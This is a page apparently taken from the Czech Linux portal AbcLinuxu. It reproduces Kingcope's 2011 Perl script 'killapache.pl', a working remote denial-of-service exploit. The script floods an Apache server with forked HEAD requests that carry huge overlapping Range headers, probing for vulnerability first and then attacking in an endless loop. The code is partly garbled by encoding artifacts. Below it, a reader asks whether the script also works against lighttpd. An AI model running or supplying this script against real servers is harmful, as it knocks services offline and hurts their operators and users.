Portál AbcLinuxu, 4. listopadu 2025 08:12
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#
use IO::Socket;
use Parallel::ForkManager;
sub usage {
	print "Apache Remote Denial of Service (memory exhaustion)\n";
	print "by Kingcope\n";
	print "usage: perl killapache.pl <host> [numforks]\n";
	print "example: perl killapache.pl www.example.com 50\n";
}
sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
=09
$pm =3D new Parallel::ForkManager($numforks);
$|=3D1;
srand(time());
$p =3D "";
for ($k=3D0;$k<1300;$k++) {
	$p .=3D ",5-$k";
}
for ($k=3D0;$k<$numforks;$k++) {
my $pid =3D $pm->start and next; =09
=09
$x =3D "";
my $sock =3D IO::Socket::INET->new(PeerAddr =3D> $ARGV[0],
                                 PeerPort =3D> "80",
                     			 Proto    =3D> 'tcp');
$p =3D "HEAD / HTTP/1.1\r\nHost: =
$ARGV[0]\r\nRange:bytes=3D0-$p\r\nAccept-Encoding: gzip\r\nConnection: =
close\r\n\r\n";
print $sock $p;
while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}
sub testapache {
my $sock =3D IO::Socket::INET->new(PeerAddr =3D> $ARGV[0],
                                 PeerPort =3D> "80",
                     			 Proto    =3D> 'tcp');
$p =3D "HEAD / HTTP/1.1\r\nHost: =
$ARGV[0]\r\nRange:bytes=3D0-$p\r\nAccept-Encoding: gzip\r\nConnection: =
close\r\n\r\n";
print $sock $p;
$x =3D <$sock>;
if ($x =3D~ /Partial/) {
	print "host seems vuln\n";
	return 1;=09
} else {
	return 0;=09
}
}
if ($#ARGV < 0) {
	usage;
	exit;=09
}
if ($#ARGV > 1) {
	$numforks =3D $ARGV[1];
} else {$numforks =3D 50;}
$v =3D testapache();
if ($v =3D=3D 0) {
	print "Host does not seem vulnerable\n";
	exit;=09
}
while(1) {
killapache();
}
NN
            A funguje to i s lighttpd/mysql/php5 s cgifixem ?
        Tiskni
            
                Sdílej:
                
                
                
                
                
                
            
    
ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.